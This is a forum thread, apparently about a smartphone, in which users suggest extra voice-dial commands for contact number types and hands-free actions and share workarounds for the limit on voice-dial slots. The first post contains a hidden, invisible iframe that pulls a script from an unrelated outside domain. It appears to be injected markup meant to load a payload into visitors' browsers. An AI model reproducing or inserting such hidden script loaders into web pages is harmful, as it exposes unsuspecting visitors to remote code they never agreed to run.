In addition to the training words "Yes", "No" and "Wakeup"---
I would suggest adding the following;
"Home", "Mobile", "Work", "Pager"
and tie those into the corresponding fields of address book entries.
IE, each voice entry could just be a name, such as "John Smith", then with the additional training words, you could then specify which number you wanted to call, ie "John Smith - Work". Instead of having to waste four voice dial slots to dial each of John Smith's numbers.
This would multiply the 30 allowable voice dials to a possible 140, assuming each contact had a home, work, cell and pager number.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Have you been spoiled by Sprint's voice command? Your suggestions are very similiar to that product. Sometimes I miss voice command.
In addition it would be great if there were commands specific to the hands free setup, e.g. "hang up", "Dial 1234" (for voicemail pin numbers), "dial 123 123-4567" (for voice mailboxes). That way, it would truely be hands free.
I work around it by having two voice tags for those with cell phones.
For instance I have two voice tags "Dad" and "Dad Mobile". The first is his house and the second is his cell phone.
It seems to do the trick for me, but I don't have that many voice tags that I overrun the voice dialing book.
I can see where this would be useful for those with many voice contacts.
I particularly like the idea of "Voice Hangup" for phone calls. It would make the voice dialing that much more useful. And, as we all know, battery life is a real problem with this phone. The more you can use the phone with the clamshell closed, the longer the battery will last between charges.

Verizon has a comparable service called voice gear. I trained a voice dial command for "Voice dial", which dials the voice gear service. If I'm driving with a headbud in, all I have to do is touch the microphone button in order to get it started, which is as close as I expect to get to hands-free dialing.

Yes, that's what I do as well -- but unfortunately this uses up two voice dial slots whereas with my suggestion it *could* be designed to just use one instead.
Is there an app for the 7135 that would provide the same service as voice gear? That is, have the phone dial 555-1212 by saying "dial - 5 - 5- 5 - 1 - 2 - 1 - 2"?

I use my voice dial a lot and love it for no eyes dialing.
One tip while recording words, Wait until the beep is really over before training. Also train in your most used environment, like your car so the noise level is standard.

That's the problem -- it can't be done!
I was making a suggestion that there *should* be a way to do this so that you don't have to tie up 4 voice dial slots per contact... Sorry for the confusion
